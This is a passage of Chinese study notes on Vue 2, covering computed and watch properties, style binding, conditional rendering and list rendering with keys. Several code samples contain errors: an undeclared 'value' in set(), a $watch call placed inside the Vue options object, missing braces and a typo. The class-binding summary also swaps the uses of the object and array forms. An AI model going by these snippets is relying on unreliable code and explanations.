  38. // 上面使用了5次fullName,此时fullName调用了5次
  39. fullName:{
  40. // get有什么作用?当有人读取fullName的时候,get就会被调用,且返回值就作为fullName的值
  41. // get什么时候被调用?
  42. // 1.初次读取fullName的时候
  43. // 2.所依赖的数据发生变化时
  44. // 虽然上面调用了5次fullName,但是实际上get就调用一次
  45. get(){//读取属性
  46. console.log('get被调用');
  47. // 此时this-->指向vm
  48. return this.firstName+'_'+this.lastName
  49. },
  50. // set不是必须写的
  51. // set什么时候调用?当fullName被修改的时候
  52. set(){//修改属性
  53. console.log('set',value);
  54. const arr=value.split('-')
  55. this.firstName=arr[0]
  56. this.lastName=arr[1]
  57. }
  58. }
  59. },
  60. })
  61. </script>
  62. </html>

9.4 计算属性的简写

当只对属性读取的时候(就是只有get的时候)才可与使用

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例——计算属性简写</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. 姓名:<span>{{fullName}}</span>
  18. </div>
  19. </body>
  20. <script type="text/javascript">
  21. Vue.config.productionTip = false
  22. const vm = new Vue({
  23. el: '#root',
  24. data: {
  25. // 属性
  26. firstName: '张',
  27. lastName: '三'
  28. },
  29. computed: {
  30. // 完整写法
  31. // fullName:{
  32. // get(){//读取属性
  33. // console.log('get被调用');
  34. // // 此时this-->指向vm
  35. // return this.firstName+'_'+this.lastName
  36. // },
  37. // set(){//修改属性
  38. // console.log('set',value);
  39. // const arr=value.split('-')
  40. // this.firstName=arr[0]
  41. // this.lastName=arr[1]
  42. // }
  43. // }
  44. // 当只有get,才可以使用简写
  45. // 简写
  46. fullName() {//此时fullName相当于get方法
  47. console.log('get被调用');
  48. // 此时this-->指向vm
  49. return this.firstName+'_'+this.lastName
  50. }
  51. },
  52. })
  53. </script>
  54. </html>

 9.5 总结:计算属性仍然是属性

  计算属性:

    1.定义:要用的属性不存在,需要通过已有属性计算得来。

    2.原理:底层借助了Objcet.defineproperty()方法提供的getter和setter

    3.get函数什么时候执行?

        初次读取时会执行一次

        当依赖的数据发生改变时会被再次调用

    4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

    5.备注:

      1.计算属性最终会出现在vm上,直接读取使用即可

      2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变

      3.如果计算属性确定不考虑修改,可以使用计算属性的简写形式

10.监视属性:watch

10.1 天气案例

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. <!-- <h2>天气预报{{isHot?'炎热':'凉爽'}}</h2> -->
  14. <!-- 使用计算属性 -->
  15. <!-- 注意点:如果页面没有使用Info,则当我们点击按钮,然后改变后,Vue插件上的值并没有改变 -->
  16. <h2>天气预报{{Info}}</h2>
  17. <!-- 使用methods -->
  18. <button @click="changeWeather">切换天气</button>
  19. <!-- 直接在标签中写 -->
  20. <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
  21. <!-- <button @click="isHot=!isHot">切换天气</button> -->
  22. </div>
  23. </body>
  24. <script type="text/javascript">
  25. new Vue({
  26. el:'#root',
  27. data:{
  28. isHot:true
  29. },
  30. computed:{
  31. Info(){
  32. return this.isHot?'炎热':'凉爽'
  33. }
  34. },
  35. methods: {
  36. /* changeWeather(){
  37. // 此时的isHot为反过来的isHot
  38. this.isHot=!this.isHot
  39. }
  40. */$
  41. },
  42. })
  43. </script>
  44. </html>

10.2 监视属性

(1):handler

  1. // 监视属性
  2. watch:{
  3. isHot:{
  4. // handler什么时候调用?当isHot发生改变的时候
  5. // handler接收两个参数
  6. // 第一个参数:被修改后的数值
  7. // 第二个参数:返回原来的值
  8. handler(newValue,oldValue){
  9. console.log('isHot被修改了',newValue,oldValue);
  10. },
  11. }
  12. }

(2)immediate

  1. // 监视属性
  2. watch:{
  3. isHot:{
  4. // immediate默认值为false
  5. // 初始化时候让handler调用一下
  6. immediate:true
  7. }
  8. }

3.方法一:通过watch进行监听

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. <h2>天气预报{{Info}}</h2>
  14. <button @click="changeWeather">切换天气</button>
  15. </div>
  16. </body>
  17. <script type="text/javascript">
  18. new Vue({
  19. el: '#root',
  20. data: {
  21. isHot: true
  22. },
  23. computed: {
  24. Info() {
  25. return this.isHot ? '炎热' : '凉爽'
  26. }
  27. },
  28. methods: {
  29. changeWeather() {
  30. // 此时的isHot为反过来的isHot
  31. this.isHot = !this.isHot
  32. }
  33. },
  34. // 监视属性
  35. watch: {
  36. // 可以监听普通属性
  37. isHot: {
  38. // handler什么时候调用?当isHot发生改变的时候
  39. // handler接收两个参数
  40. // 第一个参数:被修改后的数值
  41. // 第二个参数:返回原来的值
  42. handler(newValue, oldValue) {
  43. console.log('isHot被修改了', newValue, oldValue);
  44. },
  45. // immediate默认值为false
  46. // 初始化时候让handler调用一下
  47. immediate: true
  48. },
  49. // 也可以监听计算属性
  50. Info: {
  51. handler(newValue, oldValue) {
  52. console.log('Info被修改了', newValue, oldValue);
  53. },
  54. immediate: true
  55. }
  56. }
  57. })
  58. </script>
  59. </html>

4.方法二:通过$watch进行监听

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. <h2>天气预报{{Info}}</h2>
  14. <button @click="changeWeather">切换天气</button>
  15. </div>
  16. </body>
  17. <script type="text/javascript">
  18. new Vue({
  19. el: '#root',
  20. data: {
  21. isHot: true
  22. },
  23. computed: {
  24. Info() {
  25. return this.isHot ? '炎热' : '凉爽'
  26. }
  27. },
  28. methods: {
  29. changeWeather() {
  30. // 此时的isHot为反过来的isHot
  31. this.isHot = !this.isHot
  32. }
  33. },
  34. // 通过$watch进行监听
  35. //vm.$watch('监视对象',{监视触发事件})
  36. vm.$watch('isHot',{
  37. handler(newValue, oldValue) {
  38. console.log('Info被修改了', newValue, oldValue);
  39. },
  40. immediate: true
  41. })
  42. </script>
  43. </html>

  监视属性watch:

    1.当被监视的属性变化时,回调函数自动【handler】调用,进行相关操作

    2.监视的属性必须存在,才能进行监视

    3.监视有两种写法:

      (1)创建Vue时传入watch配置

      (2)通过vm.$watch监视

5.深度监视

(1)监视多级结构中某一个属性的变化:'numbers.a'

  1. new Vue({
  2. el: '#root',
  3. data: {
  4. isHot: true,
  5. numbers:{
  6. a:1,
  7. b:2
  8. }
  9. },
  10. // 深度监听
  11. watch: {
  12. // 监视多级结构中某一个属性的变化
  13. 'numbers.a':{
  14. handler(){
  15. console.log('a改变了');
  16. }
  17. }
  18. }
  19. })

(2)监视多级结构中所有属性的变化:deep:true

  1. new Vue({
  2. el: '#root',
  3. data: {
  4. isHot: true,
  5. numbers:{
  6. a:1,
  7. b:2
  8. }
  9. },
  10. // 深度监听
  11. watch: {
  12. // 监视多级结构中所有属性的变化
  13. numbers:{
  14. // deep:默认值为false
  15. deep:true,
  16. handler(){
  17. console.log('numbers改变了');
  18. }
  19. }
  20. }
  21. })

 深度监视:

    (1)Vue中的watch默认不监测对象内部值的改变(一层)

    (2)在watch中配置deep:true可以监测对象内部值的改变(多层)

  备注:

    (1)Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以

    (2)使用watch时根据监视数据的具体结构,决定是否采用深度监视

6.监视的简写

当在watch中只有handler方法的时候才可以使用

6.1 通过watch的方法简写

  1. // 监视属性
  2. watch: {
  3. // 完整写法
  4. /* isHot: {
  5. // 深度监视
  6. deep:true,
  7. handler(newValue, oldValue) {
  8. console.log('isHot被修改了', newValue, oldValue);
  9. },
  10. immediate: true
  11. }
  12. */
  13. // 监视的简写形式
  14. isHot(newValue, oldValue){
  15. console.log('isHot被修改了', newValue, oldValue);
  16. }
  17. }

6.2 通过$watch的方法

  1. const vm=new Vue({
  2. el: '#root',
  3. data: {
  4. isHot: true,
  5. numbers:{
  6. a:1,
  7. b:2
  8. }
  9. }
  10. // 完整写法【正常写法】
  11. vm.$watch('isHot',{
  12. deep:true,
  13. handler(newValue, oldValue) {
  14. console.log('isHot被修改了', newValue, oldValue);
  15. },
  16. immediate: true
  17. })
  18. // 监听的简写:当只有handler方法的时候才可以
  19. // 注意:不能写成箭头函数
  20. vm.$watch('isHot',function(newValue, oldValue){
  21. console.log('isHot被修改了', newValue, oldValue);
  22. })

7.watch和computed的对比

官网例子:计算属性和侦听器 — Vue.js

7.1 姓名案例——watch实现

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例——watch实现</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. 姓名:<span>{{fullName}}</span>
  18. </div>
  19. </body>
  20. <script type="text/javascript">
  21. Vue.config.productionTip = false
  22. const vm = new Vue({
  23. el: '#root',
  24. data: {
  25. // 属性
  26. firstName: '张',
  27. lastName: '三',
  28. fullName:'张-三'
  29. },
  30. watch:{
  31. // 由于oldValue没有用到所以不写
  32. firstName(newValue){
  33. this.fullName=newValue+'-'+this.lastName
  34. },
  35. lastName(newValue){
  36. this.fullName=this.firstName+'-'+newValue
  37. }
  38. }
  39. })
  40. </script>
  41. </html>

7.2 姓名案例——计算属性实现

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>姓名案例——计算属性实现</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- 准备一个容器 -->
  12. <div id="root">
  13. 姓:<input type="text" v-model:value="firstName">
  14. <br>
  15. 名:<input type="text" v-model:value="lastName">
  16. <br>
  17. <!-- 计算属性有缓存机制:所以此时fullName就调用一次 -->
  18. 姓名:<span>{{fullName}}</span>
  19. 姓名:<span>{{fullName}}</span>
  20. 姓名:<span>{{fullName}}</span>
  21. 姓名:<span>{{fullName}}</span>
  22. 姓名:<span>{{fullName}}</span>
  23. </div>
  24. </body>
  25. <script type="text/javascript">
  26. Vue.config.productionTip = false
  27. const vm=new Vue({
  28. el:'#root',
  29. data: {
  30. // 属性
  31. firstName:'张',
  32. lastName:'三'
  33. },
  34. // vm._data中没有fullName
  35. // 计算属性,对象的形式
  36. // 计算属性直接丢给vm,不给data
  37. computed: {
  38. // 上面使用了5次fullName,此时fullName调用了5次
  39. fullName:{
  40. get(){//读取属性
  41. console.log('get被调用');
  42. // 此时this-->指向vm
  43. return this.firstName+'_'+this.lastName
  44. },
  45. // set不是必须写的
  46. // set什么时候调用?当fullName被修改的时候
  47. set(value){//修改属性
  48. console.log('set',value);
  49. const arr=value.split('-')
  50. this.firstName=arr[0]
  51. this.lastName=arr[1]
  52. }
  53. }
  54. },
  55. })
  56. </script>
  57. </html>

7.3 图示

 7.4 区别 

watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

 7.5 watch完整版本

7.6 总结

      computed和watch之间的区别:

          1.computed能完成的功能,watch都可以完成

          2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

      两个重要的小原则:

        1.所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象

        2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数(在当前的函数中找不到vm,则向上查找),这样this的指向才是vm 或 组件实例对象。

11.class与style的绑定【样式绑定】

1.绑定class样式【:class=" "

 (1)字符串写法

适用于:样式的类名不确定,需要动态指定

  1. <body>
  2. <div id="root">
  3. <!-- 当点击名字的时候添加一个basic happy的样式 -->
  4. <!-- 绑定class样式-----字符串写法,适用于:样式的类名不确定,需要动态指定 -->
  5. <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
  6. </div>
  7. <script type="text/javascript">
  8. new Vue({
  9. el:'#root',
  10. data:{
  11. name:'小林',
  12. mood:'normal',
  13. },
  14. methods: {
  15. changeMood(){
  16. const arr=['happy','sad','normal']
  17. // random产生的随机数0<=x<1(不包括1)
  18. // Math.random()*3--接收到[0,2)
  19. const index=Math.floor(Math.random()*3)
  20. this.mood=arr[index]
  21. }
  22. },
  23. })
  24. </script>
  25. </body>

(2)数组写法

适用于:要绑定的样式个数不确定,名字也不确定

  1. <body>
  2. <div id="root">
  3. <!-- 绑定class样式-----数组写法,适用于:要绑定的样式个数不确定,名字也不确定 -->
  4. <div class="basic" :class="classArr">{{name}}</div>
  5. </div>
  6. <script type="text/javascript">
  7. new Vue({
  8. el: '#root',
  9. data: {
  10. name: '小林',
  11. classArr: ['atguigu1', 'atguigu2', 'atguigu3']
  12. }
  13. })
  14. </script>
  15. </body>

(3)对象写法

适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用

  1. <body>
  2. <div id="root">
  3. <!-- 绑定class样式-----对象写法,适用于:要绑定的样式个数确定,名字也确定,但是要动态决定用不用 -->
  4. <div class="basic" :class="classObj">{{name}}</div>
  5. </div>
  6. <script type="text/javascript">
  7. new Vue({
  8. el: '#root',
  9. data: {
  10. name: '小林',
  11. classObj:{
  12. atguigu1:false,
  13. atguigu2:false
  14. }
  15. }
  16. </script>
  17. </body>

  class样式:

      写法:class="xxx",xxx可以是字符串、对象、数组

      字符串写法适用于:类名不确定,要动态获取

      对象写法适用于:要绑定多个样式,个数不确定,名字也不确定

      数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用

2.绑定style样式

(1)对象写法

  1. <body>
  2. <div id="root">
  3. <div class="basic" :style="styleObj">{{name}}</div>
  4. </div>
  5. <script type="text/javascript">
  6. new Vue({
  7. el: '#root',
  8. data: {
  9. name: '小林',
  10. styleObj:{
  11. // 驼峰命名法
  12. fontSize:'40px',
  13. color:'red',
  14. backgroundColor:'orange'
  15. }
  16. },
  17. })
  18. </script>
  19. </body>

(2)数组写法

  1. <body>
  2. <div id="root">
  3. <!-- 绑定style样式---对象写法 -->
  4. <div class="basic" :style="styleObj">{{name}}</div>
  5. <!-- 绑定style样式---数组写法 -->
  6. <!-- 同时应用styleObj,styleObj2 -->
  7. <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
  8. </div>
  9. <script type="text/javascript">
  10. new Vue({
  11. el: '#root',
  12. data: {
  13. name: '小林',
  14. styleObj:{
  15. // 驼峰命名法
  16. fontSize:'40px',
  17. color:'red',
  18. },
  19. styleObj2:{
  20. backgroundColor:'orange'
  21. }
  22. },
  23. })
  24. </script>
  25. </body>

  style样式:

  :style="{fontSize: xxx}"其中xxx是动态值

  :style="[a,b]"其中a、b是样式对象

12.条件渲染

1.v-show

适用于:切换频率较高的场景

使用v-show实际上是使用了display:none

特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

高频率使用就使用:v-show

  1. <body>
  2. <div id="root">
  3. <!-- 使用v-show做条件渲染 -->
  4. <!-- 使用v-show实际上是使用了display:none -->
  5. <!-- 高频率使用就使用:v-show-->
  6. <h2 v-show="false">欢迎来到{{name}}</h2>
  7. <h2 v-show="1===1">欢迎来到{{name}}</h2>
  8. </div>
  9. <script type="text/javascript">
  10. new Vue({
  11. el: '#root',
  12. data: {
  13. name: '小林',
  14. },
  15. })
  16. </script>
  17. </body>

2.v-if:是将整个元素删除了,效率低

  1. <body>
  2. <div id="root">
  3. <!-- 使用v-if做条件渲染 -->
  4. <h2 v-if="1===1">欢迎来到{{name}}</h2>
  5. <h2 v-if="false">欢迎来到{{name}}</h2>
  6. </div>
  7. <script type="text/javascript">
  8. new Vue({
  9. el: '#root',
  10. data: {
  11. name: '小林',
  12. },
  13. })
  14. </script>
  15. </body>

3.v-else-if与v-else

  1. <body>
  2. <h2>当前的n值是:{{n}}</h2>
  3. <button @click="n++">点我n+1</button>
  4. <!-- v-else-if与v-else -->
  5. <div v-if="n===1">Angular</div>
  6. <div v-else-if="n===2">Angular</div>
  7. <div v-else-if="n===3">Vue</div>
  8. <!-- 后面一般不加上v-else,因为当不满足上面的等式,则直接渲染v-else中的东西 -->
  9. <div v-else="n===4">hh</div>
  10. </div>
  11. <script type="text/javascript">
  12. new Vue({
  13. el: '#root',
  14. data: {
  15. name: '小林',
  16. n:0
  17. },
  18. })
  19. </script>
  20. </body>

          写法:

            (1)v-if="表达式"

            (2)v-else-if="表达式"

            (3)v-else

              适用于:切换频率较低的场景

              特点:不展示的DOM元素直接被移除

注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断

v-if与template的配合使用:template只能和v-if一起使用,不能跟v-show

  1. <!-- v-if与template的配合使用 -->
  2. <template v-if="n===1">
  3. <h2>您好</h2>
  4. <h2>无论</h2>
  5. <h2>更多</h2>
  6. </template>

4.注意点:

使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到

13.列表渲染

1.v-for

(1)v-for的循环机制

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <ul>
  5. <!-- p表示persons中的每一个数据 -->
  6. <!-- 如果使用v-for则一定要用key -->
  7. <li v-for="p in persons" :key="p.id">
  8. {{p.name}}--{{p.age}}
  9. </li>
  10. </ul>
  11. </div>
  12. </body>
  13. <script type="text/javascript">
  14. new Vue({
  15. el:'#root',
  16. data: {
  17. persons:[
  18. {id:'001',name:'张三',age:19},
  19. {id:'002',name:'李四',age:12},
  20. {id:'003',name:'王五',age:13}
  21. ]
  22. },
  23. })
  24. </script>

(2)接收到2个参数(每一个参数值,索引值)【顺序不能改变】

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <ul>
  5. <!-- v-for循环的时候接收2个参数 -->
  6. <!-- 第一个参数:接收到数组中每一个数值 -->
  7. <!-- 第二个参数:是index索引值 -->
  8. <li v-for="(p,index) in persons" :key="index">
  9. {{p}}---{{index}}
  10. </li>
  11. </ul>
  12. </div>
  13. </body>
  14. <script type="text/javascript">
  15. new Vue({
  16. el:'#root',
  17. data: {
  18. persons:[
  19. {id:'001',name:'张三',age:19},
  20. {id:'002',name:'李四',age:12},
  21. {id:'003',name:'王五',age:13}
  22. ]
  23. },
  24. })
  25. </script>

 (3)可以将of替代in

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <h1>遍历数组</h1>
  5. <ul>
  6. <!-- 可以将in改为of -->
  7. <li v-for="(p,index) of persons" :key="index">
  8. {{p}}---{{inedx}}
  9. </li>
  10. </ul>
  11. </div>
  12. </body>
  13. <script type="text/javascript">
  14. new Vue({
  15. el:'#root',
  16. data: {
  17. persons:[
  18. {id:'001',name:'张三',age:19},
  19. {id:'002',name:'李四',age:12},
  20. {id:'003',name:'王五',age:13}
  21. ]
  22. },
  23. })
  24. </script>

 (4)遍历数组

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <ul>
  5. <!-- p表示persons中的每一个数据 -->
  6. <!-- 如果使用v-for则一定要用key -->
  7. <li v-for="p in persons" :key="p.id">
  8. {{p.name}}--{{p.age}}
  9. </li>
  10. </ul>
  11. </div>
  12. </body>
  13. <script type="text/javascript">
  14. new Vue({
  15. el:'#root',
  16. data: {
  17. persons:[
  18. {id:'001',name:'张三',age:19},
  19. {id:'002',name:'李四',age:12},
  20. {id:'003',name:'王五',age:13}
  21. ]
  22. },
  23. })
  24. </script>

(5)遍历对象

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <h1>遍历对象</h1>
  5. <h1>遍历对象</h1>
  6. <ul>
  7. <li v-for="(value,k) in car" :key="k">
  8. {{value}}---{{k}}
  9. </li>
  10. </ul>
  11. </div>
  12. </body>
  13. <script type="text/javascript">
  14. new Vue({
  15. el:'#root',
  16. data: {
  17. car:{
  18. name:'奔驰',
  19. price:90
  20. }
  21. },
  22. })
  23. </script>

(6)遍历字符串

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <h1>遍历数组</h1>
  5. <ul>
  6. <h1>遍历字符串</h1>
  7. <ul>
  8. <li v-for="(char,k) in str" :key="k">
  9. {{char}}---{{k}}
  10. </li>
  11. </ul>
  12. </div>
  13. </body>
  14. <script type="text/javascript">
  15. new Vue({
  16. el:'#root',
  17. data: {
  18. str:'hello'
  19. },
  20. })
  21. </script>

 (8)遍历指定次数

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <h1>遍历数组</h1>
  5. <ul>
  6. <h1>遍历指定次数</h1>
  7. <ul>
  8. <li v-for="(number,index) in 5" :key="index">
  9. {{number}}---{{index}}
  10. </li>
  11. </ul>
  12. </div>
  13. </body>
  14. <script type="text/javascript">
  15. new Vue({
  16. el:'#root',
  17. data: {
  18. persons:[
  19. {id:'001',name:'张三',age:19},
  20. {id:'002',name:'李四',age:12},
  21. {id:'003',name:'王五',age:13}
  22. ],
  23. car:{
  24. name:'奔驰',
  25. price:90
  26. },
  27. str:'hello'
  28. },
  29. })
  30. </script>

 (9)总结

  v-for指令:

  1.用于展示列表数据

  2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识

  3.可遍历:数组、对象、字符串(用的少)、指定次数(用的少)

2.key的原理

(1) 当我们写上key的时候,是不可以使用的key这个属性的

(2)浏览器上的key属性名

(3)遍历列表时key的作用(index作为key)

 (4)遍历列表时key的作用(id作为key)

 (5)总结

面试题:react、vue中的key有什么作用?(key的内部原理)

      1.虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

      2.对比规则:

        (1)旧虚拟DOM中找到了与新虚拟DOM相同的key:

            a.若虚拟DOM中内容没变, 直接使用之前的真实DOM

            b.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM

        (2)旧虚拟DOM中未找到与新虚拟DOM相同的key:

              创建新的真实DOM,随后渲染到到页面

      3.用index作为key可能会引发的问题:

            (1).若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低

            (2)若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题


 

      4.开发中如何选择key?

          (1)最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值

          (2)如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的

3.列表过滤

(1)通过watch实现(过滤器:filter)

computed能实现的,watch都能实现

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>列表过滤</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <div id="root">
  12. <h2>人员列表</h2>
  13. <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
  14. <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
  15. <input type="text" placeholder="请输入名字" v-model="keyWord">
  16. <li v-for="(p,index) in filPersons" :key="index">
  17. {{p.name}}--{{p.age}}---{{p.sex}}
  18. </li>
  19. </div>
  20. </body>
  21. <script type="text/javascript">
  22. new Vue({
  23. el: '#root',
  24. data: {
  25. keyWord: '',
  26. persons: [
  27. { id: '001', name: '马冬梅', age: 19, sex: '女' },
  28. { id: '002', name: '周冬雨', age: 21, sex: '女' },
  29. { id: '003', name: '周杰伦', age: 11, sex: '男' },
  30. { id: '004', name: '温兆伦', age: 13, sex: '男' }
  31. ],
  32. // 是过滤器过滤出来的新数据
  33. // 如果不使用这个,则数据会越搜索越少
  34. filPersons: []
  35. },
  36. watch: {
  37. // 因为我们不关心上一个数据,所以不传入oldValue
  38. keyWord: {
  39. // 这里为什么要使用immediate,因为要页面一上来就直接刷新
  40. // 一刷新发现newValue为空字符串,所以indexOf为0,所以直接将所有数据进行展示【'abc'.indexOf('')===0|||'abc'.indexOf('a')===0】
  41. immediate:true,
  42. handler(newValue) {
  43. // console.log('kwyWord被改变',newValue);
  44. // filter:过滤器【过滤掉不想要的东西,返回的是全新的数组】
  45. this.filPersons = this.persons.filter((p) => {
  46. // return 返回的是要的内容
  47. // indexOf--如果返回-1,则表示不包含,如果返回值不为-1,则表示找到并返回索引值,如果返回值为0,则表示包含空字符串
  48. return p.name.indexOf(newValue) !== -1
  49. })
  50. }
  51. }
  52. }
  53. })
  54. </script>
  55. </html>

(2)通过计算属性

  1. <body>
  2. <div id="root">
  3. <h2>人员列表</h2>
  4. <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
  5. <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
  6. <input type="text" placeholder="请输入名字" v-model="keyWord">
  7. <li v-for="(p,index) in filPersons" :key="index">
  8. {{p.name}}--{{p.age}}---{{p.sex}}
  9. </li>
  10. </div>
  11. </body>
  12. <script type="text/javascript">
  13. new Vue({
  14. el: '#root',
  15. data: {
  16. keyWord: '',
  17. persons: [
  18. { id: '001', name: '马冬梅', age: 19, sex: '女' },
  19. { id: '002', name: '周冬雨', age: 21, sex: '女' },
  20. { id: '003', name: '周杰伦', age: 11, sex: '男' },
  21. { id: '004', name: '温兆伦', age: 13, sex: '男' }
  22. ]
  23. },
  24. computed:{
  25. // 默认只有get
  26. filPersons(){
  27. return this.persons.filter((p)=>{
  28. // keyWord怎么变我不用去监视
  29. return p.name.indexOf(this.keyWord)!==-1
  30. })
  31. }
  32. }
  33. })
  34. </script>

4.列表排序

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>列表排序</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <div id="root">
  12. <h2>人员列表</h2>
  13. <!-- persons一变就重新解析模板,整个列表就发生变化了 -->
  14. <!-- 收集用户输入:给输入框绑定双向数据绑定 -->
  15. <input type="text" placeholder="请输入名字" v-model="keyWord">
  16. <button @click="sortType=2">年龄升序</button>
  17. <button @click="sortType=1">年龄降序</button>
  18. <button @click="sortType=0">原顺序</button>
  19. <li v-for="(p,index) in filPersons" :key="index">
  20. {{p.name}}--{{p.age}}---{{p.sex}}
  21. </li>
  22. </div>
  23. </body>
  24. <script type="text/javascript">
  25. new Vue({
  26. el: '#root',
  27. data: {
  28. // 获取用户输入的名字
  29. keyWord: '',
  30. //0代表原顺序,1降序,2升序
  31. sortType:0,
  32. persons: [
  33. { id: '001', name: '马冬梅', age: 19, sex: '女' },
  34. { id: '002', name: '周冬雨', age: 21, sex: '女' },
  35. { id: '003', name: '周杰伦', age: 11, sex: '男' },
  36. { id: '004', name: '温兆伦', age: 13, sex: '男' }
  37. ]
  38. },
  39. // 计算属性
  40. computed:{//计算属性最终的结果都是return出来的
  41. // 默认只有get
  42. filPersons(){
  43. //先将搜索结果保存起来,才可以进行后续的排序,如果直接返回出去就无法操作搜索结果
  44. const arr=this.persons.filter((p)=>{
  45. // keyWord怎么变我不用去监视
  46. return p.name.indexOf(this.keyWord)!==-1
  47. })
  48. // 判断一下是否要排序
  49. if(this.sortType){
  50. // 记得排序的是过滤后的结果(arr)
  51. arr.sort((p1,p2)=>{
  52. // 判断此时是1还是2
  53. return this.sortType===1?p2.age-p1.age :p1.age-p2.age
  54. })
  55. }
  56. // 记得返回
  57. return arr
  58. }
  59. }
  60. })
  61. /*sort改变数组
  62. let arr=[1,2,4,5,6]
  63. arr.sort((a,b)=>{
  64. // a-b:表示升序
  65. // b-a:表示降序
  66. return a-b
  67. })
  68. console.log(arr);
  69. */
  70. </script>
  71. </html>

14.数据检测

1.更新时的一个问题

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7. <title>Document</title>
  8. <script type="text/javascript" src="./js/vue.js"></script>
  9. </head>
  10. <body>
  11. <!-- v-for指令:
  12. 1.用于展示列表数据
  13. 2.语法:<li v-for="(item, index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识
